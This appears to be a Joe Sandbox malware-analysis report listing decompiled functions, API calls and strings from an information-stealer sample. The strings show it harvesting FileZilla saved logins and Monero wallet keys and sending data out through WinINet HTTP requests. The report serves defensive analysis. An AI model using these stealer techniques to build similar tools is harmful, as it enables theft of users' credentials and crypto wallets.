Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 119c7690726f041935f946449a4a145e36a6d7eb194941894e51a6a764f9c0fb
Instruction ID: 1d6f8db6f8e59a876e3d6a366a97ee1595351469b90705f5bb6a16317e34259d
Opcode Fuzzy Hash: 119c7690726f041935f946449a4a145e36a6d7eb194941894e51a6a764f9c0fb
Instruction Fuzzy Hash: 9B3210B2D10318ABC715EBA0DC85EEE737CBB44700F444A98F259A20D0EE75E7998F56

Function 00A00250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A08E0B

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009F99EC
Part of subcall function 009F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009F9A11
Part of subcall function 009F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 009F9A31
Part of subcall function 009F99C0: ReadFile.KERNEL32(000000FF,?,00000000,009F148F,00000000), ref: 009F9A5A
Part of subcall function 009F99C0: LocalFree.KERNEL32(009F148F), ref: 009F9A90
Part of subcall function 009F99C0: CloseHandle.KERNEL32(000000FF), ref: 009F9A9A

Part of subcall function 00A08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A08E52

GetProcessHeap.KERNEL32(00000000,000F423F,00A10DBA,00A10DB7,00A10DB6,00A10DB3), ref: 00A00362
RtlAllocateHeap.NTDLL(00000000), ref: 00A00369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00A00385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A00393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00A003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00A00419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A00427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00A00463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A00475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A00502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A0051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A00532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A0054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00A00562
lstrcat.KERNEL32(?,profile: null), ref: 00A00571
lstrcat.KERNEL32(?,url: ), ref: 00A00580
lstrcat.KERNEL32(?,00000000), ref: 00A00593
lstrcat.KERNEL32(?,00A11678), ref: 00A005A2
lstrcat.KERNEL32(?,00000000), ref: 00A005B5
lstrcat.KERNEL32(?,00A1167C), ref: 00A005C4
lstrcat.KERNEL32(?,login: ), ref: 00A005D3
lstrcat.KERNEL32(?,00000000), ref: 00A005E6
lstrcat.KERNEL32(?,00A11688), ref: 00A005F5
lstrcat.KERNEL32(?,password: ), ref: 00A00604
lstrcat.KERNEL32(?,00000000), ref: 00A00617
lstrcat.KERNEL32(?,00A11698), ref: 00A00626
lstrcat.KERNEL32(?,00A1169C), ref: 00A00635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A10DB2), ref: 00A0068E

Strings

<Pass encoding="base64">, xrefs: 00A0045A
<Host>, xrefs: 00A0037C
<Port>, xrefs: 00A003C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00A002A4
browser: FileZilla, xrefs: 00A00559
profile: null, xrefs: 00A00568
login: , xrefs: 00A005CA
url: , xrefs: 00A00577
password: , xrefs: 00A005FB
<User>, xrefs: 00A00410

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 037bb31105c25b3f058307483f14a4b8675b6c7906cb336fadc1cd722cb32fb2
Instruction ID: 804eddc71849783b221417edab996bde27d20279536be2234d303b6bde480218
Opcode Fuzzy Hash: 037bb31105c25b3f058307483f14a4b8675b6c7906cb336fadc1cd722cb32fb2
Instruction Fuzzy Hash: 08D1FF7191020CABDB04EBE4EE96FEE7778BF64300F548518F142A60D1DF75AA49CB62

Function 009F5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009F4839
Part of subcall function 009F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009F4849

lstrlen.KERNEL32(00000000), ref: 009F5193

Part of subcall function 00A08EA0: CryptBinaryToStringA.CRYPT32(00000000,009F5184,40000001,00000000,00000000,?,009F5184), ref: 00A08EC0

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009F5207
StrCmpCA.SHLWAPI(?,014DEB08), ref: 009F5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009F5340
HttpOpenRequestA.WININET(00000000,014DEA78,?,014DE3E8,00000000,00000000,00400100,00000000), ref: 009F53A4

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,014DEB38,00000000,?,014DDA30,00000000,?,00A119DC,00000000,?,00A051CF), ref: 009F5737
lstrlen.KERNEL32(00000000), ref: 009F574B
GetProcessHeap.KERNEL32(00000000,?), ref: 009F575C
RtlAllocateHeap.NTDLL(00000000), ref: 009F5763
lstrlen.KERNEL32(00000000), ref: 009F5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009F57A9
lstrlen.KERNEL32(00000000), ref: 009F57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009F57E1
lstrlen.KERNEL32(00000000,?,?), ref: 009F580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 009F5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 009F584D
InternetCloseHandle.WININET(00000000), ref: 009F58B1
InternetCloseHandle.WININET(00000000), ref: 009F58BE
InternetCloseHandle.WININET(00000000), ref: 009F58C8

Strings

--, xrefs: 009F5280
", xrefs: 009F5482
------, xrefs: 009F53B7
------, xrefs: 009F54F9
", xrefs: 009F5706
", xrefs: 009F55C4
------, xrefs: 009F563B
------, xrefs: 009F5297

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 4188697b1bc47fad6363e3c5f8d9c8db5563f0aeb329a58a7a6d235cb90ac089
Instruction ID: 13b06d5979b3a3389d607a672994df3b0564e2a4b95573dc230515e69ca8d948
Opcode Fuzzy Hash: 4188697b1bc47fad6363e3c5f8d9c8db5563f0aeb329a58a7a6d235cb90ac089
Instruction Fuzzy Hash: 7632F37292021CABDB14EBA0EE95FEEB378BF64700F404559F106620D2EF746A49CF56

Function 009FA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A0AA70: StrCmpCA.SHLWAPI(014D8B78,009FA7A7,?,009FA7A7,014D8B78), ref: 00A0AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 009FAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 009FAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 009FABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009FA8B0

Part of subcall function 00A0A820: lstrlen.KERNEL32(009F4F05,?,?,009F4F05,00A10DDE), ref: 00A0A82B
Part of subcall function 00A0A820: lstrcpy.KERNEL32(00A10DDE,00000000), ref: 00A0A885

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

lstrcat.KERNEL32(?,00000000), ref: 009FACEB
lstrcat.KERNEL32(?,00A11320), ref: 009FACFA
lstrcat.KERNEL32(?,00000000), ref: 009FAD0D
lstrcat.KERNEL32(?,00A11324), ref: 009FAD1C
lstrcat.KERNEL32(?,00000000), ref: 009FAD2F
lstrcat.KERNEL32(?,00A11328), ref: 009FAD3E
lstrcat.KERNEL32(?,00000000), ref: 009FAD51
lstrcat.KERNEL32(?,00A1132C), ref: 009FAD60
lstrcat.KERNEL32(?,00000000), ref: 009FAD73
lstrcat.KERNEL32(?,00A11330), ref: 009FAD82
lstrcat.KERNEL32(?,00000000), ref: 009FAD95
lstrcat.KERNEL32(?,00A11334), ref: 009FADA4
lstrcat.KERNEL32(?,00000000), ref: 009FADB7
lstrlen.KERNEL32(?), ref: 009FAE0D
lstrlen.KERNEL32(?), ref: 009FAE1C

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

DeleteFileA.KERNEL32(00000000), ref: 009FAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 009FABD4

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 022cd968bc196e295b1243da994eec7aebdccd4c043d035edaf1113be8d4656e
Instruction ID: 988d36842b621224c680001b1ef34aa242c60265a4a11f00af451bc0d562d56e
Opcode Fuzzy Hash: 022cd968bc196e295b1243da994eec7aebdccd4c043d035edaf1113be8d4656e
Instruction Fuzzy Hash: 35120E7191020CABDB04EBA0EE96FEE7378BF64301F508558B507A60D1DF35AE59CB62

Function 009F5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009F4839
Part of subcall function 009F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009F4849

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009F59F8
StrCmpCA.SHLWAPI(?,014DEB08), ref: 009F5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009F5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,014DEA88,00000000,?,014DDA30,00000000,?,00A11A1C), ref: 009F5E71
lstrlen.KERNEL32(00000000), ref: 009F5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 009F5E93
RtlAllocateHeap.NTDLL(00000000), ref: 009F5E9A
lstrlen.KERNEL32(00000000), ref: 009F5EAF
lstrlen.KERNEL32(00000000), ref: 009F5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 009F5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 009F5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 009F5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 009F5F4C
InternetCloseHandle.WININET(00000000), ref: 009F5FB0
InternetCloseHandle.WININET(00000000), ref: 009F5FBD
HttpOpenRequestA.WININET(00000000,014DEA78,?,014DE3E8,00000000,00000000,00400100,00000000), ref: 009F5BF8

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

InternetCloseHandle.WININET(00000000), ref: 009F5FC7

Strings

------, xrefs: 009F5A96
", xrefs: 009F5CD5
", xrefs: 009F5E16
------, xrefs: 009F5D4C
------, xrefs: 009F5C0B

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 75bf0c1fc84eeb62f869439c899a1b20dab6cba782d86fd05097d54af45e4c52
Instruction ID: 192ef5656179d3782b39229b416bb467cd05ed227ea274cae439572c55af0eb9
Opcode Fuzzy Hash: 75bf0c1fc84eeb62f869439c899a1b20dab6cba782d86fd05097d54af45e4c52
Instruction Fuzzy Hash: 2712DF7292021CABDB15EBA0EE95FEEB378BF24700F504599F106620D1EF706A49CF65

Function 009FCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

